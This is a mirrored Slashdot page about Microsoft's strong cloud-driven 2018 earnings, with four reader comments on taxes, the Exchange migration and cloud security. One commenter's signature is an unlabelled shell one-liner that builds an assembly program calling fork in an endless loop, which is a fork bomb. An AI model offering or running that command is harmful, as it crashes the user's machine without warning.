Slashdot Mirror


Microsoft's Cloud Bet Continues To Pay Off In Latest Earnings (theverge.com)

In its 2018 financial results, Microsoft reported revenue of $28.9 billion and net income of $7.5 billion. "Revenue has jumped 12 percent year-over-year during the holiday quarter, and the trend of Microsoft's success with the cloud has continued," reports The Verge. "This time around, Azure revenue has increased by a massive 98 percent." From the report: Overall server and cloud services revenue grew 18 percent year-over-year, alongside the massive 98 percent jump in Azure revenue. It's clear Microsoft's future growth and revenue opportunities are with the cloud, so it's no surprise to see the company continually investing there to be competitive with Amazon. Microsoft's Office 365 subscription bet for consumers is also paying off. 29.2 million people are now using Office 365 on the consumer side, with revenue increasing 12 percent year-over-year for Office consumer and cloud. On the commercial side, Office revenue is also up at a 10 percent increase since the same period last year.

4 of 63 comments (clear)

  1. Re:Net income? by Hal_Porter · · Score: 2, Insightful

    Apple also paid a one time $38 billion tax bill to bring overseas money back into the country. Where it will employ people and generate profits that are taxed

    https://www.bloomberg.com/news...

    It's almost like reducing corporate tax rates increases economic activity and future tax revenues or something.

    --
    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  2. Re:Who is using it and what for? by Anonymous Coward · · Score: 2, Insightful

    I work for a small VAR and other than Office 365, almost nobody is interested in Microsoft cloud systems.

    I wouldn't call it "interest".
    Microsoft has announced that Exchange 2016 will be the final version released as software, with the only upgrade path being Exchange 365 as a service.

    So while Exch 2016 is still under support, once it hits EOL you can't just buy the newest version to upgrade to, you must migrate to their cloud services.

    This leaves companies with two main options.
    A) Begin work on migrating away from Exchange completely, or
    B) Begin work on migrating into their cloud services.
    C) is to just remain on 2016 along with other security mitigation (typically another MTA between the Internet and Exchange)

    Since both are major changes in infrastructure, most everyone is starting on their plan earlier than usual. This is one time you can't wait to the last minute and then just throw money at the problem for an easy fix.

    The third option is always on the table but brings with it the risk of major exploits not getting patched and being vulnerable to insiders.

    I've also noticed some retail stores no longer carrying Office 2016 in box form, or only sell the license key card that is good for one installation. Also that isn't for an "installation on one PC", it's literally for "one installation"
    HD/SSD die and need to reinstall Windows from recovery media? You've used up your one Office installation already so time to purchase another!

    While that one doesn't effect the enterprise licensed editions of Office (yet?), many home users seem to be going with Office 365 thinking it is the cheaper option and lets them retain access to Office if they repair or replace their home computer.

  3. Re:Azure is fine, but... by Anonymous Coward · · Score: 2, Insightful

    How does one pronounce "azure"?

    Presumably it's pronounced like the color

  4. Re:Consumer Friendly Policies = More Profit by Anonymous Coward · · Score: 2, Insightful

    Nobody at Microsoft cares what you decide to do, they care what businesses decide to do. I'm in the field everyday with small - medium businesses. 95% of them would be better off in the cloud, bar-none. And that includes security. People dont update (it costs money), they dont upgrade (it costs money), they rarely do more than just the extreme bare minimum to keep their networks running. And there are thousands of them, and Microsoft knows this.

    That's why they push the cloud. They want their products under their control. That way they can control their own narrative. Look at Spectre and Meltdown. The cloud was patched BEFORE the announcement. How many non-cloud customers are patched even today? How many will remain unpatched 10 years from now?

    Not to say there aren't data/privacy issues, but those exist on-site as well as in the cloud, and at least in the cloud they provide mitigations against it.